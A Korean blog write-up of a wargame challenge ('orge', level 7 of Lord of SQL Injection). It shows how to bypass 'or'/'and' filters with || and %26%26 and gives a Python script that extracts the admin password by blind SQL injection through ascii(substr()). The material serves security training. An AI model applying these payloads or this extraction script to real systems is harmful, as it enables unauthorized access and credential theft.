본문 바로가기

보안/Wargame

[Load of SQL Injection] 7번 orge

728x90

Q7. orge

 

문제 화면 

 

 

 

해결 과정

 

코드 확인 결과 ` prob, _, . , , , () ` 의 일부 문자와 and, or 을 필터링한다는 것을 알 수 있고 두개의 쿼리를 통해서 id가 admin인 pw를 찾아내 문제를 풀어야 합니다

 

먼저 or을 우회하여 id를 admin으로 로그인을 해보았습니다

 ?pw=123' || id='admin'%23

Password 길이 구하기

다음엔 orc에서 자동화 프로그램으로 pw의 길이를 구하는 코드를 이용하여 admin의 pw 길이를 구해보겠습니다

현재 org 문제에서는 or ,and 가 필터링 되어있으므로 우회 문자로 쿼리 문을 바꿔서 코드를 돌려야한다

 

 

password 길이는 8자리인 것을 알 수 있다

 

Password 구하기

import requests

cookie = {'PHPSESSID': 'bmtkjtao6k7qe3rppdctckfa07'}
address = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'

# 비밀번호 유추
for i in range(1, 9):
    for j in range(47, 123):
        URL = address + "?pw= '|| id='admin' %26%26 ascii(substr(pw," + str(i) + ",1))=" + str(j) + "%23%27"
        res = requests.get(URL, cookies=cookie)
        if "Hello admin" in res.text:
            print(str(i) + "번째 자리 비밀번호는" + chr(j) + "입니다")
            break

 

결과 화면에 비밀번호가 나오는 것을 확인 할 수 있습니다

 

해결 화면

'보안 > Wargame' 카테고리의 다른 글

[Load of SQL Injection] 9번 vampire  (0) 2024.01.20
[Load of SQL Injection] 8번 troll  (0) 2024.01.20
[Load of SQL Injection] 6번 darkelf  (0) 2024.01.17
[Load of SQL Injection] 5번 wolfman  (0) 2024.01.15
[Load of SQL Injection] 4번 orc  (0) 2024.01.13